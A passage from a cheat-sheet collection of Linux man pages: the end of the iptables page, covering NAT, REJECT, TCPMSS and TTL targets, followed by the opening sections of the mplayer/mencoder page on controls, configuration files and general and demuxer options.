Binary AND the nfmark with value
–or-mark value
Binary OR the nfmark with value

MASQUERADE

This target is only valid in the nat table, in the POSTROUTING chain. It should only be used with dynamically assigned IP (dialup) connections: if you have a static IP address, you should use the SNAT target. Masquerading is equivalent to specifying a mapping to the IP address of the interface the packet is going out, but also has the effect that connections areforgotten when the interface goes down. This is the correct behavior when the next dialup is unlikely to have the same interface address (and hence any established connections are lost anyway). It takes one option:

–to-ports port[-port]
This specifies a range of source ports to use, overriding the default SNAT source port-selection heuristics (see above). This is only valid if the rule also specifies -p tcp or -p udp.
–random
Randomize source port mapping If option –random is used then port mapping will be randomized (kernel >= 2.6.21).

MIRROR

This is an experimental demonstration target which inverts the source and destination fields in the IP header and retransmits the packet. It is only valid in the INPUT, FORWARD and PREROUTING chains, and user-defined chains which are only called from those chains. Note that the outgoing packets are NOT seen by any packet filtering chains, connection tracking or NAT, to avoid loops and other problems.

NETMAP

This target allows you to statically map a whole network of addresses onto another network of addresses. It can only be used from rules in the nat table.

–to address[/mask]
Network address to map to. The resulting address will be constructed in the following way: All ‘one’ bits in the mask are filled in from the new `address’. All bits that are zero in the mask are filled in from the original address.

NFQUEUE

This target is an extension of the QUEUE target. As opposed to QUEUE, it allows you to put a packet into any specific queue, identified by its 16-bit queue number.

–queue-num value
This specifies the QUEUE number to use. Valid queue numbers are 0 to 65535. The default value is 0.
It can only be used with Kernel versions 2.6.14 or later, since it requires
the nfnetlink_queue kernel support.

NOTRACK

This target disables connection tracking for all packets matching that rule.

It can only be used in the
raw table.

REDIRECT

This target is only valid in the nat table, in the PREROUTING and OUTPUT chains, and user-defined chains which are only called from those chains. It redirects the packet to the machine itself by changing the destination IP to the primary address of the incoming interface (locally-generated packets are mapped to the 127.0.0.1 address). It takes one option:

–to-ports port[-port]
This specifies a destination port or range of ports to use: without this, the destination port is never altered. This is only valid if the rule also specifies -p tcp or -p udp.
–random
If option –random is used then port mapping will be randomized (kernel >= 2.6.22).

REJECT

This is used to send back an error packet in response to the matched packet: otherwise it is equivalent to DROP so it is a terminating TARGET, ending rule traversal. This target is only valid in the INPUT, FORWARD and OUTPUT chains, and user-defined chains which are only called from those chains. The following option controls the nature of the error packet returned:

–reject-with type
The type given can be

 icmp-net-unreachable
 icmp-host-unreachable
 icmp-port-unreachable
 icmp-proto-unreachable
 icmp-net-prohibited
 icmp-host-prohibited or
 icmp-admin-prohibited (*)

which return the appropriate ICMP error message (port-unreachable is the default). The option tcp-reset can be used on rules which only match the TCP protocol: this causes a TCP RST packet to be sent back. This is mainly useful for blocking ident (113/tcp) probes which frequently occur when sending mail to broken mail hosts (which won’t accept your mail otherwise).

(*) Using icmp-admin-prohibited with kernels that do not support it will result in a plain DROP instead of REJECT

SAME

Similar to SNAT/DNAT depending on chain: it takes a range of addresses (`–to 1.2.3.4-1.2.3.7′) and gives a client the same source-/destination-address for each connection.

–to <ipaddr>-<ipaddr>
Addresses to map source to. May be specified more than once for multiple ranges.
–nodst
Don’t use the destination-ip in the calculations when selecting the new source-ip
–random
Port mapping will be forcibly randomized to avoid attacks based on port prediction (kernel >= 2.6.21).

SECMARK

This is used to set the security mark value associated with the packet for use by security subsystems such as SELinux. It is only valid in the mangle table.

–selctx security_context

SNAT

This target is only valid in the nat table, in the POSTROUTING chain. It specifies that the source address of the packet should be modified (and all future packets in this connection will also be mangled), and rules should cease being examined. It takes one type of option:

–to-source ipaddr[-ipaddr][:portport]
which can specify a single new source IP address, an inclusive range of IP addresses, and optionally, a port range (which is only valid if the rule also specifies -p tcp or -p udp). If no port range is specified, then source ports below 512 will be mapped to other ports below 512: those between 512 and 1023 inclusive will be mapped to ports below 1024, and other ports will be mapped to 1024 or above. Where possible, no port alteration willIn Kernels up to 2.6.10, you can add several –to-source options. For those kernels, if you specify more than one source address, either via an address range or multiple –to-source options, a simple round-robin (one after another in cycle) takes place between these addresses. Later Kernels (>= 2.6.11-rc1) don’t have the ability to NAT to multiple ranges anymore.

–random
If option –random is used then port mapping will be randomized (kernel >= 2.6.21).

TCPMSS

This target allows to alter the MSS value of TCP SYN packets, to control the maximum size for that connection (usually limiting it to your outgoing interface’s MTU minus 40). Of course, it can only be used in conjunction with -p tcp. It is only valid in themangle table.
This target is used to overcome criminally braindead ISPs or servers which block ICMP Fragmentation Needed packets. The symptoms of this problem are that everything works fine from your Linux firewall/router, but machines behind it can never exchange large packets:

1)
Web browsers connect, then hang with no data received.
2)
Small mail works fine, but large emails hang.
3)
ssh works fine, but scp hangs after initial handshaking.

Workaround: activate this option and add a rule to your firewall configuration like:

 iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN \
             -j TCPMSS --clamp-mss-to-pmtu
–set-mss value
Explicitly set MSS option to specified value.
–clamp-mss-to-pmtu
Automatically clamp MSS value to (path_MTU – 40).
These options are mutually exclusive.

TOS

This is used to set the 8-bit Type of Service field in the IP header. It is only valid in the mangle table.

–set-tos tos
You can use a numeric TOS values, or use

 iptables -j TOS -h

to see the list of valid TOS names.

TTL

This is used to modify the IPv4 TTL header field. The TTL field determines how many hops (routers) a packet can traverse until it’s time to live is exceeded.

Setting or incrementing the TTL field can potentially be very dangerous,
so it should be avoided at any cost.
Don’t ever set or increment the value on packets that leave your local network!
mangle table.
–ttl-set value
Set the TTL value to `value’.
–ttl-dec value
Decrement the TTL value `value’ times.
–ttl-inc value
Increment the TTL value `value’ times.

ULOG

This target provides userspace logging of matching packets. When this target is set for a rule, the Linux kernel will multicast this packet through a netlink socket. One or more userspace processes may then subscribe to various multicast groups and receive the packets. Like LOG, this is a “non-terminating target”, i.e. rule traversal continues at the next rule.

–ulog-nlgroup nlgroup
This specifies the netlink group (1-32) to which the packet is sent. Default value is 1.
–ulog-prefix prefix
Prefix log messages with the specified prefix; up to 32 characters long, and useful for distinguishing messages in the logs.
–ulog-cprange size
Number of bytes to be copied to userspace. A value of 0 always copies the entire packet, regardless of its size. Default is 0.
–ulog-qthreshold size
Number of packet to queue inside kernel. Setting this value to, e.g. 10 accumulates ten packets inside the kernel and transmits them as one netlink multipart message to userspace. Default is 1 (for backwards compatibility).

DIAGNOSTICS

Various error messages are printed to standard error. The exit code is 0 for correct functioning. Errors which appear to be caused by invalid or abused command line parameters cause an exit code of 2, and other errors cause an exit code of 1.

BUGS

Bugs? What’s this? ;-) Well, you might want to have a look at http://bugzilla.netfilter.org/

COMPATIBILITY WITH IPCHAINS

This iptables is very similar to ipchains by Rusty Russell. The main difference is that the chains INPUT and OUTPUT are only traversed for packets coming into the local host and originating from the local host respectively. Hence every packet only passes through one of the three chains (except loopback traffic, which involves both INPUT and OUTPUT chains); previously a forwarded packet would pass through all three.

The other main difference is that -i refers to the input interface; -o refers to the output interface, and both are available for packets entering the FORWARD chain.

iptables is a pure packet filter when using the default `filter’ table, with optional extension modules. This should simplify much of the previous confusion over the combination of IP masquerading and packet filtering seen previously. So the following options are handled differently:

 -j MASQ
 -M -S
 -M -L

There are several other changes in iptables.

SEE ALSO

iptables-save(8), iptables-restore(8), ip6tables(8), ip6tables-save(8), ip6tables-restore(8), libipq(3).

The packet-filtering-HOWTO details iptables usage for packet filtering, the NAT-HOWTO details NAT, the netfilter-extensions-HOWTO details the extensions that are not in the standard distribution, and the netfilter-hacking-HOWTO details the netfilter internals.
See http://www.netfilter.org/.

AUTHORS

Rusty Russell originally wrote iptables, in early consultation with Michael Neuling.

Marc Boucher made Rusty abandon ipnatctl by lobbying for a generic packet selection framework in iptables, then wrote the mangle table, the owner match, the mark stuff, and ran around doing cool stuff everywhere.

James Morris wrote the TOS target, and tos match.

Jozsef Kadlecsik wrote the REJECT target.

Harald Welte wrote the ULOG and NFQUEUE target, the new libiptc, as well as the TTL, DSCP, ECN matches and targets.

The Netfilter Core Team is: Marc Boucher, Martin Josefsson, Yasuyuki Kozakai, Jozsef Kadlecsik, Patrick McHardy, James Morris, Pablo Neira Ayuso, Harald Welte and Rusty Russell.

Man page originally written by Herve Eychenne <rv@wallfire.org>.

Mplayer – CheatSheet


Mplayer Cheat Sheet

NAME

mplayer – movie player
mencoder – movie encoder

SYNOPSIS

mplayer [options] [file|URL|playlist|-]
mplayer [options] file1 [specific options] [file2] [specific options]
mplayer [options] {group of files and options} [group-specific options]
mplayer [dvd|dvdnav]://[title|[start_title]-end_title] [options]
mplayer vcd://track[/device]
mplayer tv://[channel][/input_id] [options]
mplayer radio://[channel|frequency][/capture] [options]
mplayer pvr:// [options]
mplayer dvb://[card_number@]channel [options]
mplayer mf://[filemask|@listfile] [-mf options] [options]
mplayer [cdda|cddb]://track[-endtrack][:speed][/device] [options]
mplayer cue://file[:track] [options]
mplayer [file|mms[t]|http|http_proxy|rt[s]p|ftp|udp|unsv|smb]:// [user:pass@]URL[:port] [options]
mplayer sdp://file [options]
mplayer mpst://host[:port]/URL [options]
mplayer tivo://host/[list|llist|fsid] [options]
gmplayer [options] [-skin skin]
mencoder [options] file [file|URL|-] [-o file | file://file | smb://[user:pass@]host/filepath]
mencoder [options] file1 [specific options] [file2] [specific options]

DESCRIPTION

mplayer is a movie player for Linux (runs on many other platforms and CPU architectures, see the documentation). It plays most MPEG/:VOB, AVI, ASF/:WMA/:WMV, RM, QT/:MOV/:MP4, Ogg/:OGM, MKV, VIVO, FLI, NuppelVideo, yuv4mpeg, FILM and RoQ files, supported by many native and binary codecs. You can watch Video CD, SVCD, DVD, 3ivx, DivX 3/4/5 and even WMV movies, too.

MPlayer supports a wide range of video and audio output drivers. It works with X11, Xv, DGA, OpenGL, SVGAlib, fbdev, AAlib, libcaca, DirectFB, Quartz, Mac OS X CoreVideo, but you can also use GGI, SDL (and all their drivers), VESA (on every VESA-compatible card, even without X11), some low-level card-specific drivers (for Matrox, 3dfx and ATI) and some hardware MPEG decoder boards, such as the Siemens DVB, Hauppauge PVR (IVTV), DXR2 and DXR3/:Hollywood+. Most of them support software or hardware scaling, so you can enjoy movies in fullscreen mode.

MPlayer has an onscreen display (OSD) for status information, nice big antialiased shaded subtitles and visual feedback for keyboard controls. European/:ISO8859-1,2 (Hungarian, English, Czech, etc), Cyrillic and Korean fonts are supported along with 12 subtitle formats (MicroDVD, SubRip, OGM, SubViewer, Sami, VPlayer, RT, SSA, AQTitle, JACOsub, PJS and our own: MPsub) and DVD subtitles (SPU streams, VOBsub and Closed Captions).

mencoder (MPlayer’s Movie Encoder) is a simple movie encoder, designed to encode MPlayer-playable movies (see above) to other MPlayer-playable formats (see below). It encodes to MPEG-4 (DivX/Xvid), one of the libavcodec codecs and PCM/:MP3/:VBRMP3 audio in 1, 2 or 3 passes. Furthermore it has stream copying abilities, a powerful filter system (crop, expand, flip, postprocess, rotate, scale, noise, RGB/:YUV conversion) and more.

gmplayer is MPlayer with a graphical user interface. It has the same options as MPlayer.

Usage examples to get you started quickly can be found at the end of this man page.

Also see the HTML documentation!

INTERACTIVE CONTROL

MPlayer has a fully configurable, command-driven control layer which allows you to control MPlayer using keyboard, mouse, joystick or remote control (with LIRC). See the -input option for ways to customize it.

keyboard control
<- and ->
Seek backward/:forward 10 seconds.
up and down
Seek forward/:backward 1 minute.
pgup and pgdown
Seek forward/:backward 10 minutes.
[ and ]
Decrease/increase current playback speed by 10%.
{ and }
Halve/double current playback speed.
backspace
Reset playback speed to normal.
< and >
Go backward/:forward in the playlist.
ENTER
Go forward in the playlist, even over the end.
HOME and END
next/:previous playtree entry in the parent list
INS and DEL (ASX playlist only)
next/:previous alternative source.
p / SPACE
Pause (pressing again unpauses).
.    
Step forward. Pressing once will pause movie, every consecutive press will play one frame and then go into pause mode again (any other key unpauses).
q / ESC
Stop playing and quit.
+ and –
Adjust audio delay by +/- 0.1 seconds.
/ and *
Decrease/:increase volume.
9 and 0
Decrease/:increase volume.
( and )
Adjust audio balance in favor of left/:right channel.
m    
Mute sound.
_ (MPEG-TS, AVI and libavformat only)
Cycle through the available video tracks.
# (DVD, MPEG, Matroska, AVI and libavformat only)
Cycle through the available audio tracks.
TAB (MPEG-TS only)
Cycle through the available programs.
f    
Toggle fullscreen (also see -fs).
T    
Toggle stay-on-top (also see -ontop).
w and e
Decrease/:increase pan-and-scan range.
o    
Toggle OSD states: none / seek / seek + timer / seek + timer + total time.
d    
Toggle frame dropping states: none / skip display / skip decoding (see -framedrop and -hardframedrop).
v    
Toggle subtitle visibility.
j    
Cycle through the available subtitles.
y and g
Step forward/backward in the subtitle list.
F    
Toggle displaying “forced subtitles”.
a    
Toggle subtitle alignment: top / middle / bottom.
x and z
Adjust subtitle delay by +/- 0.1 seconds.
r and t
Move subtitles up/down.
i (-edlout mode only)
Set start or end of an EDL skip and write it out to the given file.
s (-vf screenshot only)
Take a screenshot.
S (-vf screenshot only)
Start/stop taking screenshots.
I    
Show filename on the OSD.
! and @
Seek to the beginning of the previous/next chapter.
D (-vo xvmc, -vf yadif, -vf kerndeint only)
Activate/deactivate deinterlacer.
(The following keys are valid only when using a hardware accelerated video output (xv, (x)vidix, (x)mga, etc), the software equalizer (-vf eq or -vf eq2) or hue filter (-vf hue).)
1 and 2
Adjust contrast.
3 and 4
Adjust brightness.
5 and 6
Adjust hue.
7 and 8
Adjust saturation.
(The following keys are valid only when using the quartz or macosx video output driver.)
command + 0
Resize movie window to half its original size.
command + 1
Resize movie window to its original size.
command + 2
Resize movie window to double its original size.
command + f
Toggle fullscreen (also see -fs).
command + [ and command + ]
Set movie window alpha.
(The following keys are valid only when using the sdl video output driver.)
c    
Cycle through available fullscreen modes.
n    
Restore original mode.
(The following keys are valid if you have a keyboard with multimedia keys.)
PAUSE
Pause.
STOP 
Stop playing and quit.
PREVIOUS and NEXT
Seek backward/:forward 1 minute.
(The following keys are only valid if GUI support is compiled in and will take precedence over the keys defined above.)
ENTER
Start playing.
ESC  
Stop playing.
l    
Load file.
t    
Load subtitle.
c    
Open skin browser.
p    
Open playlist.
r    
Open preferences.
(The following keys are only valid if you compiled with TV or DVB input support and will take precedence over the keys defined above.)
h and k
Select previous/:next channel.
n    
Change norm.
u    
Change channel list.
(The following keys are only valid if you compiled with dvdnav support: They are used to navigate the menus.)
keypad 8
Select button up.
keypad 2
Select button down.
keypad 4
Select button left.
keypad 6
Select button right.
keypad 5
Return to main menu.
keypad 7
Return to nearest menu (the order of preference is: chapter->title->root).
keypad ENTER
Confirm choice.
(The following keys are only valid if teletext support is enabled during compilation: They are used for controlling TV teletext.)
X
Switch teletext on/:off.
Q and W
Go to next/:prev teletext page.
mouse control
button 3 and button 4
Seek backward/:forward 1 minute.
button 5 and button 6
Decrease/:increase volume.
joystick control
left and right
Seek backward/:forward 10 seconds.
up and down
Seek forward/:backward 1 minute.
button 1
Pause.
button 2
Toggle OSD states: none / seek / seek + timer / seek + timer + total time.
button 3 and button 4
Decrease/:increase volume.

USAGE

Every ‘flag’ option has a ‘noflag’ counterpart, e.g. the opposite of the -fs option is -nofs.

If an option is marked as (XXX only), it will only work in combination with the XXX option or if XXX is compiled in.

NOTE: The suboption parser (used for example for -ao pcm suboptions) supports a special kind of string-escaping intended for use with external GUIs.
It has the following format:
%n%string_of_length_n
EXAMPLES:
mplayer -ao pcm:file=%10%C:test.wav test.avi
Or in a script:
mplayer -ao pcm:file=%expr length "$NAME"%”$NAME” test.avi

CONFIGURATION FILES

You can put all of the options in configuration files which will be read every time MPlayer/MEncoder is run. The system-wide configuration file ‘mplayer.conf’ is in your configuration directory (e.g. /etc/:mplayer or /usr/:local/:etc/:mplayer), the user specific one is ‘~/:.mplayer/:config’. The configuration file for MEncoder is ‘mencoder.conf’ in your configuration directory (e.g. /etc/:mplayer or /usr/:local/:etc/:mplayer), the user specific one is ‘~/:.mplayer/:mencoder.conf. User specific options override system-wide options and options given on the command line override either. The syntax of the configuration files is ‘option=<value>’, everything after a ‘#’ is considered a comment. Options that work without values can be enabled by setting them to ‘yes’ or ‘1’ or ‘true’ and disabled by setting them to ‘no’ or ‘0’ or ‘false’. Even suboptions can be specified in this way.

You can also write file-specific configuration files. If you wish to have a configuration file for a file called ‘movie.avi’, create a file named ‘movie.avi.conf’ with the file-specific options in it and put it in ~/.mplayer/. You can also put the configuration file in the same directory as the file to be played, as long as you give the -use-filedir-conf option (either on the command line or in your global config file).

EXAMPLE MPLAYER CONFIGURATION FILE:

# Use Matrox driver by default.
vo=xmga
# I love practicing handstands while watching videos.
flip=yes
# Decode/encode multiple files from PNG,
# start with mf://filemask
mf=type=png:fps=25
# Eerie negative images are cool.
vf=eq2=1.0:-0.8

EXAMPLE MENCODER CONFIGURATION FILE:

# Make MEncoder output to a default filename.
o=encoded.avi
# The next 4 lines allow mencoder tv:// to start capturing immediately.
oac=pcm=yes
ovc=lavc=yes
lavcopts=vcodec=mjpeg
tv=driver=v4l2:input=1:width=768:height=576:device=/dev/video0:audiorate=48000
# more complex default encoding option set
lavcopts=vcodec=mpeg4:autoaspect=1
lameopts=aq=2:vbr=4
ovc=lavc=1
oac=lavc=1
passlogfile=pass1stats.log
noautoexpand=1
subfont-autoscale=3
subfont-osd-scale=6
subfont-text-scale=4
subalign=2
subpos=96
spuaa=20

PROFILES

To ease working with different configurations profiles can be defined in the configuration files. A profile starts with its name between square brackets, e.g. ‘[my-profile]’. All following options will be part of the profile. A description (shown by -profile help) can be defined with the profile-desc option. To end the profile, start another one or use the profile name ‘default’ to continue with normal options.

EXAMPLE MENCODER PROFILE:

[mpeg4]
profile-desc="MPEG4 encoding"
ovc=lacv=yes
lavcopts=vcodec=mpeg4:vbitrate=1200

[mpeg4-hq]
profile-desc="HQ MPEG4 encoding"
profile=mpeg4
lavcopts=mbd=2:trell=yes:v4mv=yes

GENERAL OPTIONS

-codecs-file <filename> (also see -afm, -ac, -vfm, -vc)
Override the standard search path and use the specified file instead of the builtin codecs.conf.
-include <configuration file>
Specify configuration file to be parsed after the default ones.
-list-options
Prints all available options.
-msgcharset <charset>
Convert console messages to the specified character set (default: autodetect). Text will be in the encoding specified with the –charset configure option. Set this to “noconv” to disable conversion (for e.g. iconv problems).
NOTE: The option takes effect after command line parsing has finished. The MPLAYER_CHARSET environment variable can help you get rid of the first lines of garbled output.
-msglevel <all=<level>:<module>=<level>:…>
Control verbosity directly for each module. The ‘all’ module changes the verbosity of all the modules not explicitly specified on the command line. See ‘-msglevel help’ for a list of all modules.
NOTE: Some messages are printed before the command line is parsed and are therefore not affected by -msglevel. To control these messages you have to use the MPLAYER_VERBOSE environment variable, see its description below for details.
Available levels:

-1
complete silence
0
fatal messages only
1
error messages
2
warning messages
3
short hints
4
informational messages
5
status messages (default)
6
verbose messages
7
debug level 2
8
debug level 3
9
debug level 4
-quiet 
Make console output less verbose; in particular, prevents the status line (i.e. A: 0.7 V: 0.6 A-V: 0.068 …) from being displayed. Particularly useful on slow terminals or broken ones which do not properly handle carriage return (i.e. \r).
-priority <prio> (Windows only)
Set process priority for MPlayer according to the predefined priorities available under Windows. Possible values of <prio>:

idle|belownormal|normal|abovenormal|high|realtime
WARNING: Using realtime priority can cause system lockup.
-profile <profile1,profile2,…>
Use the given profile(s), -profile help displays a list of the defined profiles.
-really-quiet (also see -quiet)
Display even less output and status messages than with -quiet. Also suppresses the GUI error message boxes.
-show-profile <profile>
Show the description and content of a profile.
-use-filedir-conf
Look for a file-specific configuration file in the same directory as the file that is being played.
WARNING: May be dangerous if playing from untrusted media.
-v     
Increment verbosity level, one level for each -v found on the command line.

PLAYER OPTIONS (MPLAYER ONLY)

-autoq <quality> (use with -vf [s]pp)
Dynamically changes the level of postprocessing depending on the available spare CPU time. The number you specify will be the maximum level used. Usually you can use some big number. You have to use -vf [s]pp without parameters in order for this to work.
-autosync <factor>
Gradually adjusts the A/V sync based on audio delay measurements. Specifying -autosync 0, the default, will cause frame timing to be based entirely on audio delay measurements. Specifying -autosync 1 will do the same, but will subtly change the A/V correction algorithm. An uneven video framerate in a movie which plays fine with -nosound can often be helped by setting this to an integer value greater than 1. The higher the value, the closer the timing will be to -nosound. Try -autosync 30 to smooth out problems with sound drivers which do not implement a perfect audio delay measurement. With this value, if large A/V sync offsets occur, they will only take about 1 or 2 seconds to settle out. This delay in reaction time to sudden A/V offsets should be the only side-effect of turning this option on, for all sound drivers.
-benchmark
Prints some statistics on CPU usage and dropped frames at the end of playback. Use in combination with -nosound and -vo null for benchmarking only the video codec.
NOTE: With this option MPlayer will also ignore frame duration when playing only video (you can think of that as infinite fps).
-colorkey <number>
Changes the colorkey to an RGB value of your choice. 0x000000 is black and 0xffffff is white. Only supported by the cvidix, fbdev, svga, vesa, winvidix, xmga, xvidix, xover, xv (see -vo xv:ck), xvmc (see -vo xv:ck) and directx video output drivers.
-nocolorkey
Disables colorkeying. Only supported by the cvidix, fbdev, svga, vesa, winvidix, xmga, xvidix, xover, xv (see -vo xv:ck), xvmc (see -vo xv:ck) and directx video output drivers.
-correct-pts (experimental)
Switches MPlayer to an experimental mode where timestamps for video frames are calculated differently and video filters which add new frames or modify timestamps of existing ones are supported. The more accurate timestamps can be visible for example when playing subtitles timed to scene changes with the -ass option. Without -correct-pts the subtitle timing will typically be off by some frames. This option does not work correctly with some demuxers and codecs.
-crash-debug (DEBUG CODE)
Automatically attaches gdb upon crash or SIGTRAP. Support must be compiled in by configuring with –enable-crash-debug.
-doubleclick-time
Time in milliseconds to recognize two consecutive button presses as a double-click (default: 300). Set to 0 to let your windowing system decide what a double-click is (-vo directx only).
NOTE: You will get slightly different behaviour depending on whether you bind MOUSE_BTN0_DBL or MOUSE_BTN0-MOUSE_BTN0_DBL.
-edlout <filename>
Creates a new file and writes edit decision list (EDL) records to it. During playback, the user hits ‘i’ to mark the start or end of a skip block. This provides a starting point from which the user can fine-tune EDL entries later. See http://www.mplayerhq.hu/:DOCS/:HTML/:en/:edl.html for details.
-enqueue (GUI only)
Enqueue files given on the command line in the playlist instead of playing them immediately.
-fixed-vo
Enforces a fixed video system for multiple files (one (un)initialization for all files). Therefore only one window will be opened for all files. Currently the following drivers are fixed-vo compliant: gl, gl2, mga, svga, x11, xmga, xv, xvidix and dfbmga.
-framedrop (also see -hardframedrop)
Skip displaying some frames to maintain A/V sync on slow systems. Video filters are not applied to such frames. For B-frames even decoding is skipped completely.
-(no)gui
Enable or disable the GUI interface (default depends on binary name). Only works as the first argument on the command line. Does not work as a config-file option.
-h, -help, –help
Show short summary of options.
-hardframedrop
More intense frame dropping (breaks decoding). Leads to image distortion!
-identify
Shorthand for -msglevel identify=4. Show file parameters in an easily parseable format. Also prints more detailed information about subtitle and audio track languages and IDs. In some cases you can get more information by using -msglevel identify=6. For example, for a DVD it will list the time length of each title, as well as a disk ID. The wrapper script TOOLS/:midentify suppresses the other MPlayer output and (hopefully) shellescapes the filenames.
-idle (also see -slave)
Makes MPlayer wait idly instead of quitting when there is no file to play. Mostly useful in slave mode where MPlayer can be controlled through input commands.
-input <commands>
This option can be used to configure certain parts of the input system. Paths are relative to ~/.mplayer/.
NOTE: Autorepeat is currently only supported by joysticks.Available commands are:

conf=<filename>
Specify input configuration file other than the default ~/:.mplayer/:input.conf. ~/:.mplayer/:<filename> is assumed if no full path is given.
ar-delay
Delay in milliseconds before we start to autorepeat a key (0 to disable).
ar-rate
Number of key presses to generate per second on autorepeat.
keylist
Prints all keys that can be bound to commands.
cmdlist
Prints all commands that can be bound to keys.
js-dev
Specifies the joystick device to use (default: /dev/:input/:js0).
file=<filename>
Read commands from the given file. Mostly useful with a FIFO.
NOTE: When the given file is a FIFO MPlayer opens both ends so you can do several ‘echo “seek 10” > mp_pipe’ and the pipe will stay valid.
-key-fifo-size <2-65000>
Specify the size of the FIFO that buffers key events (default: 7). A FIFO of size n can buffer (n-1) events. If it is too small some events may be lost (leading to “stuck mouse buttons” and similar effects). If it is too big, MPlayer may seem to hang while it processes the buffered events. To get the same behavior as before this option was introduced, set it to 2 for Linux or 1024 for Windows.
-lircconf <filename> (LIRC only)
Specifies a configuration file for LIRC (default: ~/.lircrc).
-list-properties
Print a list of the available properties.
-loop <number>
Loops movie playback <number> times. 0 means forever.
-menu (OSD menu only)
Turn on OSD menu support.
-menu-cfg <filename> (OSD menu only)
Use an alternative menu.conf.
-menu-chroot <path> (OSD menu only)
Chroot the file selection menu to a specific location.EXAMPLE:

-menu-chroot=/home
Will restrict the file selection menu to /:home and downward (i.e. no access to / will be possible, but /home/user_name will).
-menu-keepdir (OSD menu only)
File browser starts from the last known location instead of current directory.
-menu-root <value> (OSD menu only)
Specify the main menu.
-menu-startup (OSD menu only)
Display the main menu at MPlayer startup.
-mouse-movements
Permit MPlayer to receive pointer events reported by the video output driver (currently only derivatives of X11 are supported). Necessary to select the buttons in DVD menus.
-noconsolecontrols
Prevent MPlayer from reading key events from standard input. Useful when reading data from standard input. This is automatically enabled when – is found on the command line. There are situations where you have to set it manually, e.g. if you open /dev/:stdin (or the equivalent on your system), use stdin in a playlist or intend to read from stdin later on via the loadfile or loadlist slave commands.
-nojoystick
Turns off joystick support.
-nolirc
Turns off LIRC support.
-nomouseinput
Disable mouse button press/:release input (mozplayerxp’s context menu relies on this option).
-rtc (RTC only)
Turns on usage of the Linux RTC (realtime clock – /dev/:rtc) as timing mechanism. This wakes up the process every 1/1024 seconds to check the current time. Useless with modern Linux kernels configured for desktop use as they already wake up the process with similar accuracy when using normal timed sleep.
-playing-msg <string>
Print out a string before starting playback. The following expansions are supported:

${NAME}
Expand to the value of the property NAME.
$(NAME:TEXT)
Expand TEXT only if the property NAME is available.
-playlist <filename>
Play files according to a playlist file (ASX, Winamp, SMIL, or one-file-per-line format).
NOTE: This option is considered an entry so options found after it will apply only to the elements of this playlist.
FIXME: This needs to be clarified and documented thoroughly.
-rtc-device <device>
Use the specified device for RTC timing.
-shuffle
Play files in random order.
-skin <name> (GUI only)
Loads a skin from the directory given as parameter below the default skin directories, /usr/:local/:share/:mplayer/:skins/: and ~/.mplayer/:skins/.EXAMPLE:

-skin fittyfene
Tries /usr/:local/:share/:mplayer/:skins/:fittyfene and afterwards ~/.mplayer/:skins/:fittyfene.
-slave (also see -input)
Switches on slave mode, in which MPlayer works as a backend for other programs. Instead of intercepting keyboard events, MPlayer will read commands separated by a newline (\n) from stdin.
NOTE: See -input cmdlist for a list of slave commands and DOCS/tech/slave.txt for their description.
-softsleep
Time frames by repeatedly checking the current time instead of asking the kernel to wake up MPlayer at the correct time. Useful if your kernel timing is imprecise and you cannot use the RTC either. Comes at the price of higher CPU consumption.
-sstep <sec>
Skip <sec> seconds after every frame. The normal framerate of the movie is kept, so playback is accelerated. Since MPlayer can only seek to the next keyframe this may be inexact.

DEMUXER/STREAM OPTIONS

-a52drc <level>
Select the Dynamic Range Compression level for AC-3 audio streams. <level> is a float value ranging from 0 to 1, where 0 means no compression and 1 (which is the default) means full compression (make loud passages more silent and vice versa). This option only shows an effect if the AC-3 stream contains the required range compression information.
-aid <ID> (also see -alang)
Select audio channel (MPEG: 0-31, AVI/:OGM: 1-99, ASF/:RM: 0-127, VOB(AC-3): 128-159, VOB(LPCM): 160-191, MPEG-TS 17-8190). MPlayer prints the available audio IDs when run in verbose (-v) mode. When playing an MPEG-TS stream, MPlayer/:MEncoder will use the first program (if present) with the chosen audio stream.
-alang <language code[,language code,…]> (also see -aid)
Specify a priority list of audio languages to use. Different container formats employ different language codes. DVDs use ISO 639-1 two letter language codes, Matroska, MPEG-TS and NUT use ISO 639-2 three letter language codes while OGM uses a free-form identifier. MPlayer prints the available languages when run in verbose (-v) mode.EXAMPLE:

mplayer dvd://1 -alang hu,en
Chooses the Hungarian language track on a DVD and falls back on English if Hungarian is not available.
mplayer -alang jpn example.mkv
Plays a Matroska file in Japanese.
-audio-demuxer <[+]name> (-audiofile only)
Force audio demuxer type for -audiofile. Use a ‘+’ before the name to force it, this will skip some checks! Give the demuxer name as printed by -audio-demuxer help. For backward compatibility it also accepts the demuxer ID as defined in libmpdemux/:demuxer.h. -audio-demuxer audio or -audio-demuxer 17 forces MP3.
-audiofile <filename>
Play audio from an external file (WAV, MP3 or Ogg Vorbis) while viewing a movie.
-audiofile-cache <kBytes>
Enables caching for the stream used by -audiofile, using the specified amount of memory.
-reuse-socket (udp:// only)
Allows a socket to be reused by other processes as soon as it is closed.
-bandwidth <value> (network only)
Specify the maximum bandwidth for network streaming (for servers that are able to send content in different bitrates). Useful if you want to watch live streamed media behind a slow connection. With Real RTSP streaming, it is also used to set the maximum delivery bandwidth allowing faster cache filling and stream dumping.
-cache <kBytes>
This option specifies how much memory (in kBytes) to use when precaching a file or URL. Especially useful on slow media.
-nocache
Turns off caching.
-cache-min <percentage>
Playback will start when the cache has been filled up to <percentage> of the total.
-cache-seek-min <percentage>
If a seek is to be made to a position within <percentage> of the cache size from the current position, MPlayer will wait for the cache to be filled to this position rather than performing a stream seek (default: 50).
-cdda <option1:option2> (CDDA only)
This option can be used to tune the CD Audio reading feature of MPlayer.Available options are:

speed=<value>
Set CD spin speed.
paranoia=<0-2>
Set paranoia level. Values other than 0 seem to break playback of anything but the first track.

0: disable checking (default)
1: overlap checking only
2: full data correction and verification
generic-dev=<value>
Use specified generic SCSI device.
sector-size=<value>
Set atomic read size.
overlap=<value>
Force minimum overlap search during verification to <value> sectors.
toc-bias
Assume that the beginning offset of track 1 as reported in the TOC will be addressed as LBA 0. Some Toshiba drives need this for getting track boundaries correct.
toc-offset=<value>
Add <value> sectors to the values reported when addressing tracks. May be negative.
(no)skip
(Never) accept imperfect data reconstruction.
-cdrom-device <path to device>
Specify the CD-ROM device (default: /dev/:cdrom).
-channels <number> (also see -af channels)
Request the number of playback channels (default: 2). MPlayer asks the decoder to decode the audio into as many channels as specified. Then it is up to the decoder to fulfill the requirement. This is usually only important when playing videos with AC-3 audio (like DVDs). In that case liba52 does the decoding by default and correctly downmixes the audio into the requested number of channels. To directly control the number of output channels independently of how many channels are decoded, use the channels filter.
